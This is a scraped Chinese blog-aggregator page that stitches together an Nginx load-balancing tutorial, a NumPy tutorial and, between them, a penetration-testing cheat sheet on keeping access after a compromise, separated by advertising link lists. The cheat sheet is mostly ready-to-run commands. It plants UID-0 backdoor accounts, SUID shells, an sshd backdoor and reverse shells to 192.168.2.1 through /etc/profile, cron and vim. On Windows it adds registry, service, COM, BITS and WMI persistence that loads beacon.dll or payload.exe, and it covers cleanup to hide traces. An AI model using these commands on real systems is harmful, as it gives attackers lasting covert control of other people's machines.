    if [[ "${return_codes[1]}" -ne 0 ]]; then
      do_something_else
    fi
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    【從單體架構到分佈式架構】(三)請求增多,單點變集群(2):Nginx

    上一個章節,我們學習了負載均衡的理論知識,那麼是不是把應用部署多套,前面掛一個負載均衡的軟件或硬件就可以應對高併發了?其實還有很多問題需要考慮。比如:
    
    1. 當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    2. 掛掉的服務器,怎麼才能不再訪問?
    3. 如何保證負載均衡的高可用性?
    
    等等等等...
    
    讓我們帶着這些問題,實戰學習一下 Nginx 的配置和使用。
    

    1. 前置概念

    在正式介紹 Nginx 之前,首先讓我們先了解一下概念。

    1. 中間件

    干 IT 太累了,我準備辭職開了個燒烤攤,賣羊肉串;

    賣羊肉串首先就得有羊肉,於是我就聯繫了很多養殖場,我又是一個比較負責任的人,為了保證羊肉的質量,我就去考察了一家又一家養殖場,同時我也是個“小氣”的人,所以我考察過程中,和對方談判、比價,最終選了一個養殖場作為我的羊肉供應商,為我提供羊肉。

    經營了一陣子,這個養殖場提供的羊肉質量沒有以前好了,那麼我就重新考察、談判、比價,如此反覆,我投入了大量的時間和精力。

    於是我找到了一個信得過的代理公司,約定要羊肉的質量和數量,談好價錢,以後我只找代理商拿貨,具體代理商找的哪家養殖場我不去過問,甚至代理商可以送貨上門。

    在這個例子裏面,賣燒烤就是業務,我的燒烤攤是業務端,養殖場是底層,而 這個信得過的代理公司,就是中間件。

    2. 正向代理和反向代理

    正向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我就派我的管家回老家考察;管家就是正向代理服務器;正向代理服務器代表了客戶端,在正向代理的過程中,服務端只和代理服務器打交道(房東只和我的管家談),並不知道真正的客戶端是誰。

    反向代理:我住在北京,但是想回老家買套房,但是我沒辦法親自回老家考察,於是我打個電話聯繫了老家的房屋中介去辦這件事兒;房屋中介就是反向代理;這裏的反向代理,代表的是房東,在反向代理的過程中,客戶端只和反向代理服務器打交道,並不知道真正的服務端是誰。

    當然,我的管家也可以聯繫我老家的房屋中介,那麼架構圖就會變成:

    2. Nginx 的概念

    了解完上面的幾個概念,那麼 Nginx 的概念理解起來就簡單很多了:

    Nginx 就是一個開源的、高性能的、可靠的 Http 中間件; 它經常被用作 Http 代理、反向代理、負載均衡等等,當然它也能做正向代理,但是實際很少有這麼用的。

    3. 最簡單的 Nginx 使用示例

    本章節項目的代碼:chapter3

    Step 1. 部署多套環境

    我們將章節 1 中的項目 chapter1 複製出來一份,改名為 chapter3,表示是第 3 章節的項目,同時修改:

    1. pom.xml 中的 artifactId 修改為 chapter3
    2. application.yml 中的 server.port 修改成 8089

    這樣我們分別啟動 chapter1 和 chapter3,這樣就相當於把相同的項目部署了兩套,端口分別是 8088 和 8089 。

    Step 2. 下載 Nginx

    我們可以在 Nginx 的官網 下載我們所需的版本,因為我使用 windows 環境開發,所以我在這裏就選擇了 nginx/Windows-1.14.2 這個版本。

    下載完成解壓縮,不需要額外的安裝,可以直接使用。

    Step 3. 配置 Nginx

    進入 nginx-1.14.2\conf 目錄下,用文本編輯器打開 nginx.conf,對配置文件進行如下修改:

    1. 在 http 中增加 upstream,並配置兩台環境的地址;
    2. 在 http.server.location 中增加 proxy_pass 的配置;

    http {
        ...
    
        #增加 upstream 的配置,其中 myserver 是自己起的名字
        upstream myserver{
    	     server 127.0.0.1:8088;  #有幾套環境,就配置幾條
    	     server 127.0.0.1:8089;
        }
    
        server {
            listen       80;
            server_name  localhost;
    
            #charset koi8-r;
    
            #access_log  logs/host.access.log  main;
    
            location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver; #增加,其中 http://myserver 的 myserver 要和上文對應
            }
    
          }
        }
        ...
    }
    

    完整配置文件請參考:nginx.conf

    Step 4. 啟動 Nginx

    我們可以直接雙擊 nginx-1.14.2 目錄下的 nginx.exe 啟動;也可以通過 cmd 命令打開控制台,進入 nginx-1.14.2 目錄執行如下命令啟動 Nginx:

    start nginx //啟動 Nginx ;啟動后可能一閃而過,我們可以看一下任務管理器是否有名字叫做 nginx.exe 的進程
    
    nginx.exe -s stop //停止 Nginx
    nginx.exe -s quit //停止 Nginx
    

    Step 5. 測試 Nginx

    讓我們測試一下 Nginx 是否配置並啟動成功,打開瀏覽器輸入:

    http://127.0.0.1/queryAdmin
    

    注意這裏並沒有加端口號,是因為 url 中沒有端口號的時候表示端口號為 80,而我們 Nginx 的配置文件中,監聽的正是 80 端口 (listen 80);我們可以在瀏覽器中看到服務返回的結果:

    User : Admin
    

    這就說明 Nginx 已經轉發了我們的請求到了服務端,並正確返回,那麼負載均衡是如何體現的呢?讓我們多刷新幾次瀏覽器,然後看看後台日誌:

    我前後一共調用了 5 次服務,可以看到兩個服務端分別接收到了 2 次和 3 次請求,負載均衡達到了效果。

    4. Nginx 常見的路由策略

    1. 輪詢法

    最簡單的輪詢法,多餘的配置不需要增加。

    upstream myserver{
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    2. 源地址哈希法

    使用 ip_hash 關鍵字,每一個請求,都按 hash(IP) 的結果決定訪問哪台服務器;

    upstream myserver{
       ip_hash; # hash(IP)
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    如果我們本地測試,多次訪問接口,可以發現請求永遠落到同一個服務上,因為本地 IP 一直沒有改變。

    3. 加權輪詢法

    使用 weight 關鍵字,設置每台服務器的權重;

    upstream myserver{
       server 127.0.0.1:8088 weight=1;  # 20% 請求會發給8088
       server 127.0.0.1:8089 weight=4;
    }
    

    4. 最小連接數法

    根據每個服務器節點的連接數,動態地選擇當前連接數最少的服務器轉發請求;

    upstream myserver{
       least_conn;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    5. 最快響應速度法

    根據每個服務器節點的響應時間(請求的往返延遲),動態地選擇當前響應速度最快的服務器轉發請求;需要額外安裝 nginx-upstream-fair 模塊。

    upstream myserver{
       fair; # 額外安裝 nginx-upstream-fair 模塊
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    6. URL 哈希算法

    對 URL 進行 Hash 運算,根據結果來分配請求,這樣每個 URL 都可以訪問到同一個服務端;當服務端有緩存的時候,比較有效。

    upstream myserver{
       hash $request_uri;
       server 127.0.0.1:8088;  # 有幾套環境,就配置幾條
       server 127.0.0.1:8089;
    }
    

    也可以安裝第三方模塊,比如我們要使用 URL 一致性哈希算法,那麼我們可以安裝 ngx_http_upstream_consistent_hash 模塊。

    upstream myserver{
       consistent_hash $request_uri;
       server 127.0.0.1:8088;
       server 127.0.0.1:8089;
    }
    

    參考資料:Upstream Consistent Hash

    5. Nginx 常用功能

    5.1 請求失敗重試

    當一台服務器掛掉,請求如何轉發到其他正常的服務器上?
    

    我們可以先做個試驗,就是關閉 8089 端口的服務,只保留 8088 端口的服務,然後調用幾次接口,如果其中一次調用長時間不返回(瀏覽器訪問狀態圖標一直在打轉),表示本次請求發送到了 8089 端口,那麼讓我們等待一段時間…大約一分鐘之後,8080 端口服務的後台日誌,打印出來日誌,調用端接收到了返回,這說明:

    1. Nginx 默認有失敗重試機制;
    2. 默認的超時時間為 60s 。

    這裏的超時時間是可以修改的,需要在 http.server.location 中增加如下配置:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    完整配置文件請參考:設置超時重試時間5秒-nginx.conf

    不過這裏要注意一點,如果設置了服務器相應超時時間(比如設置了 10s ),萬一應用的業務處理時間比較慢(業務處理花費了 15s ),那麼會導致 Nginx 超時重試,那麼可能會造成重複處理。

    5.2 後端服務器節點健康狀態檢查

    如果掛掉一台服務器,路由到這台服務器請求每次都要等到超時時間過去,才能發起重試,如果 Nginx 不再把請求發送給掛掉的服務器,那就省事多了;
    
    這就叫做“後端服務器節點健康狀態檢查”。
    

    如果不安裝第三方模塊,可以做如下配置完成“後端服務器節點健康狀態檢查”:

    1. 設置超時時間:

    location / {
                root   html;
                index  index.html index.htm;
                proxy_pass  http://myserver;
                proxy_connect_timeout 5; # 連接超時時間
                proxy_send_timeout 5; # 發送數據給後端服務器的超時時間
                proxy_read_timeout 5; # 後端服務器的相應時間
                #proxy_next_upstream off; # 是否要關閉重試機制
            }
    

    2. 設置嘗試重試的次數:

    upstream myserver{
      	server 127.0.0.1:8088 max_fails=1 fail_timeout=100s;
      	server 127.0.0.1:8089 max_fails=1 fail_timeout=100s;
    }
    

    其中 max_fails 表示最多失敗次數,fail_timeout 表示在一個時間段內,服務器不會再次嘗試訪問;上面的配置表示在 100s 內,只要超時失敗 1 次,就不再訪問該服務器。

    完整配置文件請參考:設置超時重試時間5s-失敗1次100秒之內不再訪問-nginx.conf

    除此之外,我們還可以安裝第三方模塊來實現“後端服務器節點健康狀態檢查”:

    • nginx_upstream_check_module
    • ngx_http_healthcheck_module

    5.3 Nginx 的高可用

    以為使用 Nginx ,部署了多台應用服務器,可以保證應用服務器的高可用(掛掉一台,還有其他服務器可以用);
    
    但是如何保證負載均衡的高可用性?也就是萬一 Nginx 掛了怎麼辦?
    

    Nginx 同樣也需要部署多台,架構大概是這個樣子的:

    現在應用比較廣泛的是利用 keepalived 實現 Nignx 的高可用:

    5.4 其他

    除了以上的常見功能,強大的 Nginx 還可以:

    1. 限制 IP 訪問頻率和帶寬佔用;
    2. 緩存靜態資源;
    3. 文件壓縮;
    4. TCP 負載;
    5. 防盜鏈;
    6. 等等等等…

    總結

    我們現在的架構已經變成了:

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 滲透測試-權限維持

    linux權限維持

    添加賬號

    一般在具有root權限時可以使用以下2種方式添加root權限用戶

    1.通過useradd,後面賬號backdoor/123456

    useradd -u 0 -o -g root -G root backdoor
    
    echo 123456:password|chpasswd
    

    2.通過直接對etc/passwd文件進行寫入

    perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的結果
    
    # 123456加密后的結果為AASwmzPNx.3sg
    
    echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd	#直接寫入etc/passwd中
    

    清理以上痕迹

    userdel -f backdoor
    

    設置sid位的文件

    在具有高權限時,將高權限的bash文件拷貝隱藏起來,設置其suid位,則可後面通過低權限用戶獲取高權限操作

    在高權限時

    cp /bin/bash /tmp/.bash
    
    chmod 4755 /tmp/.bash  #設置suid
    

    使用時帶上-p參數

    /tmp/.bash -p
    

    清理痕迹

    rm -rf /tmp/.bash
    

    通過環境變量植入後門

    以下是環境變量的位置

    /etc/profile
    /etc/profile.d/*.sh
    ~/.bash_profile
    ~/.profile
    ~/.bashrc
    ~/bash_logout
    /etc/bashrc
    /etc/bash.bashrc
    

    寫入shell反彈語句

    echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile
    

    這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell

    以下文件需要高權限,為全局變量

    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc
    /etc/bash.bashrc
    

    以下為當前用戶的環境變量

    ~/.bash_profile		#實驗過程中沒有反應
    ~/.profile				#登錄後會接收shell,但是加載桌面時會卡住
    ~/.bashrc					#打開shell窗口時會接收shell,但正常的shell窗口會卡住
    ~/bash_logout			#實驗過程中沒有反應
    

    清理痕迹

    刪除配置文件中添加的代碼即可

    寫入ssh公鑰

    首先在本地生成ssh公鑰和私鑰

    在自己的~/.ssh/目錄下執行

    ssh-keygen -t rsa
    

    會生成以下三個文件,id_rsa.pub為公鑰,id_rsa為私鑰

    id_rsa      id_rsa.pub  known_hosts
    

    xxx為公鑰內容,也就是id_rsa.pub的內容

    echo "xxx" >> ~/.ssh/authorized_keys
    

    清理痕迹

    刪除目標上的 ~/.ssh/authorized_keys即可

    ssh任意密碼登錄

    在root用戶時,suchfnchsh命令不需要輸入密碼認證

    通過軟連接將ssh的服務進行cp,並重命名為以上命令

    ln -sf /usr/sbin/sshd /tmp/su				#將sshd做軟連接,軟連接文件名為su或chfn或chsh
    /tmp/su -oPort=12345								#通過軟連接的文件,開啟ssh連接-oPort指定開啟端口
    

    連接

    ssh root@host -p 12345
    
    #密碼隨便輸入即可登錄,並且可登錄任意賬號
    

    清理方式

    netstat -antp | gerp -E "su|chfn|chsh"
    #找到進程號xxx
    ps aux | grep xxx
    #找到軟連接位置/aaa/bbb/su
    kill xxx
    rm -rf /aaa/bbb/su
    

    修改sshd文件做到無認證登錄

    建立連接時ssh服務器端使用的是sshd文件來管理接收到的連接,此時對sshd文件內容進行修改,則能做到無認證登錄

    將原先的sshd文件進行轉義

    mv /usr/sbin/sshd /usr/bin/sshd
    

    開始使用perl進行寫腳本

    echo '#!/usr/bin/perl' > /usr/sbin/sshd
    echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd
    

    其實整個腳本在第二行執行了個if,如果端口符合要求,則直接建立連接,否則正常執行sshd

    其中的LF代表開啟的端口號是19526

    python2
    >> import struct
    >> print struct.pack('>I6',19526) 
    #輸出的內容為 LF
    

    賦予新文件權限並重啟sshd

    chmod u+x sshd
    service sshd restart
    

    連接方式

    socat STDIO TCP4:172.16.177.178:22,bind=:19526
    

    清除痕迹

    #刪除自定義的sshd
    rm -rf /usr/sbin/sshd
    #將同版本的sshd拷貝到對應目錄下
    mv /usr/bin/sshd /usr/sbin/sshd
    

    利用vim可執行python腳本預留後門

    先準備個python的反彈shell腳本

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

    找到提供vim插件的python的擴展包目錄

    vim --version  #查看使用的python版本
    

    找到python的擴展位置

    pip show requests
    

    進入目錄

    cd /usr/lib/python2.7/site-packages
    

    將內容寫入

    echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py
    

    運行,並刪除文件

    $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    

    清除痕迹

    ps aux|grep vim
    #獲取pid
    kill pid
    

    計劃任務

    因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的

    這裏藉助python,或者perl都可

    使用python

    echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
    

    使用perl

    echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
    

    清除痕迹

    如果通過crontab -e 不知道為啥會頂掉上一個

    crontab -l			#只看得到一個
    crontab -r			#刪除所有計劃任務
    

    動態加載庫

    使用export LD_PRELOAD=./xx.so

    這時候./xx.so中如果對函數進行了重定義,調用了該函數的程序就會執行重定義的代碼

    這裏使用以下項目

    https://github.com/Screetsec/Vegile
    

    準備2個文件

    • msf的木馬
    • Veglie項目

    使用方法將MSF木馬Vegile上傳到目標服務器上,把項目目錄弄成http服務

    python -m SimpleHTTP
    

    目標服務器上

    wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
    wget http://xxx.xxx.xx.xxx:8000/shell
    

    解壓后運行

    unzip Vegile.zip
    chmod 777 Vegile shell
    ./Vegile --u shell
    

    清理痕迹

    清理起來十分麻煩,因為直接刪除進程是刪不掉的,因此存在父進程與多個子進程

    清理思路掛起父進程,清除所有子進程再刪除父進程

    windows權限維持

    比較常見的windows提取

    ms14_058 內核模式驅動程序中的漏洞可能允許遠程執行代碼
    ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
    ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞
    

    計劃任務

    拿到shell后先修改編碼

    chcp 65001
    

    設置計劃任務,每分鐘調用運行一次shell

    schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
    

    清理痕迹

    控制面板->管理工具->任務計劃程序->找到惡意計劃任務
    在 操作 中找到調用的腳本,進行文件刪除
    刪除惡意計劃任務
    

    映像劫持

    在程序運行前會去讀自己是否設置了debug,需要對劫持的程序有權限

    以下通過註冊表對setch.exe設置了debug為cmd.exe程序,也就是按5下shift會彈出cmd的框

    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
    

    清理痕迹

    HKLM是HKEY_LOCAL_MACHINE

    找到目標的註冊表,將debug內容刪除

    環境變量

    用戶登陸時會去加載環境變量,通過設置環境變量UserInitMprLogonScript值,實現登陸時自動運行腳本

    reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f
    

    清理痕迹

    直接找到 開始->用戶頭像->更改我的環境變量

    進程退出劫持

    在註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit下控製程序的退出時執行的動作,但有時候權限很迷

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
    

    清理痕迹

    找到目標的註冊表刪除即可

    AppInit_DLLs注入

    User32.dll 被加載到進程時,設置其註冊表的中能設置加載其他的dll文件,則可使其加載惡意的腳本

    對HKML註冊表的內容進行修改一般都要system權限

    Windows 10

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    

    其他

    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
    
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f
    

    這樣在打開cmd或者計算器這種能調用User32.dll動態鏈接庫的時候就會觸發

    清理痕迹

    到對應註冊表的位置刪除Appinit_Dlls的值

    bits文件傳輸

    通過bitsadmin從網絡上下載的時候可以額外執行腳本

    bitsadmin /create test
    
    隨意下載
    bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1 
    
    執行的命令
    bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe" 
    
    啟動任務
    bitsadmin /resume test
    

    每次開機的時候會觸發

    清理痕迹

    bitsadmin /reset
    

    COM組件劫持

    將腳本放入com組件中

    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f
    
    reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
    

    清理痕迹

    刪除註冊表中的路徑值,並通過路徑刪除木馬文件

    替換cmd.exe

    將sethc.exe(按shift 5下)替換成cmd.exe

    takeown /f sethc.* /a /r /d y
    cacls sethc.exe /T /E /G administrators:F
    copy /y cmd.exe sethc.exe
    

    清理痕迹

    找個原版的setch.exe 覆蓋回去

    Winlogon劫持

    winlogon是windows登錄賬戶時會執行的程序,這裏將其註冊表中寫入木馬運行的dll路徑

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f
    

    清理痕迹

    刪除註冊表的shell中的值,並且找到後門文件刪除掉

    組策略

    需要能遠程登錄到桌面

    輸入gpedit.msc打開組策略,需要管理員賬號

    在用戶與計算機中的windows設置中均可以對腳本進行編輯,用戶策略是用戶權限,計算機策略是system權限

    清理痕迹

    打開組策略找到腳本,刪除即可

    修改計算器啟動服務調用的程序

    啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裏做後面的思路是,該服務本身對計算機運行沒有影響,因此將其手動啟動改成自動啟動,並將其運行的腳本改成木馬後門

    類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務

    篡改運行腳本
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f
    
    設置自動啟動
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f 
    
    啟動服務
    sc start IEEtwCollectorService 
    

    返回的是system權限

    清理痕迹

    將篡改的註冊表改回來,並且刪除目標木馬

    MSDTC 服務

    MSDTC 服務默認會加載一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員用戶權限

    清理痕迹

    刪除的時候因為被多個進程調用,因此刪不掉,這裏可以換個思路修改其名稱,重啟再刪除

    啟動項

    啟動項是會去指定文件夾下運行文件夾下的所有服務,這個文件夾是

    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    
    C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    也會運行以下註冊表中的腳本

    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    
    需要高權限
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    刪除文件夾下的木馬或者刪除註冊表中添加的惡意木馬註冊表,並找到木馬位置刪除

    cmd 啟動劫持

    在cmd啟動時回去註冊表中查看是否有AutoRun的健值,如果有則會運行其中的腳本

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
    

    清理痕迹

    在管理員權限下刪除註冊表的值即可

    wmic事件

    註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鍾,由於是永久 WMI 事 件訂閱,故需要管理員權限,最終獲取到權限也是 system 權限
    wmic 
    /NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150" 
    
    
    註冊一個事件消費者,這裏寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
    wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5" 
    
    綁定事件 過濾器和事件消費者
    wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

  • 手把手教你學Numpy,這些api不容錯過

    手把手教你學Numpy,這些api不容錯過

    本文始發於個人公眾號:TechFlow,原創不易,求個關注

    今天是Numpy專題的第5篇文章,我們來繼續學習Numpy當中一些常用的數學和統計函數。

    基本統計方法

    在日常的工作當中,我們經常需要通過一系列值來了解特徵的分佈情況。比較常用的有均值、方差、標準差、百分位數等等。前面幾個都比較好理解,簡單介紹一下這個百分位數,它是指將元素從小到大排列之後,排在第x%位上的值。我們一般常用的是25%,50%和75%這三個值,通過這幾個值,我們很容易對於整個特徵的分佈有一個大概的了解。

    前面三個指標:均值、方差、標準差都很好理解,我們直接看代碼就行。

    median和percentile分別是求中位數與百分位數,它們不是Numpy當中array的函數,而是numpy的庫函數。所以我們需要把array當做參數傳入。percentile這個函數還需要額外傳入一個int,表示我們想要得到的百分位數,比如我們想要知道50%位置上的數,則輸入50。

    除了這些之外,我們還會經常用到sum,min,max,argmin,argmax這幾個函數。sum,min,max很好理解,argmin和argmax的意思是獲取最小值和最大值的索引

    這裏返回的索引有點奇怪,和我們想的不同,居然不是一個二維的索引而是一維的。實際上numpy的內部會將高維數組轉化成一維之後再進行這個操作,我們可以reshape一下數組來進行驗證:

    這些只是api的基本用法,numpy當中支持的功能不僅如此。我們觀察一下這些函數會發現,它們的作用域都是一組數據,返回的是一組數據通過某種運算得到的結果。舉個例子,比如sum,是對一組數據的價格。std計算的是一組數據的標準差,這樣的函數我們稱為聚合函數

    numpy當中的聚合函數在使用的時候允許傳入軸這個參數,限制它聚合的範圍。我們通過axis這個參數來控制,axis=0表示對列聚合,axis=1表示對行聚合。我們死記的話總是會搞混淆,實際上axis傳入的也是一個索引,表示第幾個索引的索引。我們的二維數組的shape是[行, 列],其中的第0位是行,第1位是列,可以認為axis是這個索引向量的一個索引。

    我們可以來驗證一下:

    可以看到axis=0和axis=1返回的向量的長度是不同的,因為以列為單位聚合只有4列,所以得到的是一個1 x 4的結果。而以行為單位聚合有5行,所以是一個1 x 5的向量。

    除了上面介紹的這些函數之外,還有cumsum和cumprod這兩個api。其中cumsum是用來對數組進行累加運算,而cumprod是進行的累乘運算。只是在實際工作當中,很少用到,我就不展開細講了,感興趣的同學可以查閱api文檔了解一下。

    bool數組的方法

    我們之前在Python的入門文章當中曾經提到過,在Python中True和False完全等價於1和0。那麼在上面這些計算的方法當中,如果存在bool類型的值,都會被轉化成1和0進行的計算。

    我們靈活運用這點會非常方便,舉個例子,假設我們要統計一批數據當中有多少條大於0。我們利用sum會非常方便:

    bool數組除了可以應用上面這些基本的運算api之外,還有專門的兩個api,也非常方便。一個叫做any,一個叫做all。any的意思是只要數組當中有一個是True,那麼結果就是True。可以認為是Is there any True in the array的意思,同樣,all就是說只有數組當中都是True,結果才是True。對應的英文自然是Are the values in the array all True。

    這個只要理解了,基本上很難忘記。

    排序

    Python原生的數組可以排序,numpy當中的數組自然也不例外。我們只需要調用sort方法就可以排序了,不過有一點需要注意,numpy中的sort默認是一個inplace的方法。也就是說我們調用完了sort之後,原數組的值就自動變化了。

    如果寫成了arr = arr.sort()會得到一個None,千萬要注意。

    同樣,我們也可以通過傳入軸這個參數來控制它的排序範圍,可以做到對每一列排序或者是對每一行排序,我們來看個例子:

    這個是對列排序,如果傳入0則是對行排序,這個應該不難理解。

    集合api

    numpy當中還提供了一些面向集合的api,相比於針對各種計算的api,這些方法用到的情況比較少。常用的一般只有unique和in1d

    unique顧名思義就是去重的api,可以返回一維array去重且排序之後的結果。我們來看個例子:

    它等價於:

    set(sorted(arr))
    

    in1d是用來判斷集合內的元素是否在另外一個集合當中,函數會返回一個bool型的數組。我們也可以來看個例子:

    除了這兩個api之外,還有像是計算並集並排序的union1d,計算差集的setdiff1d,計算兩個集合交集並排序的intersect1d等等。這些api的使用頻率實在是不高,所以就不贅述了。用到的時候再去查閱即可。

    總結

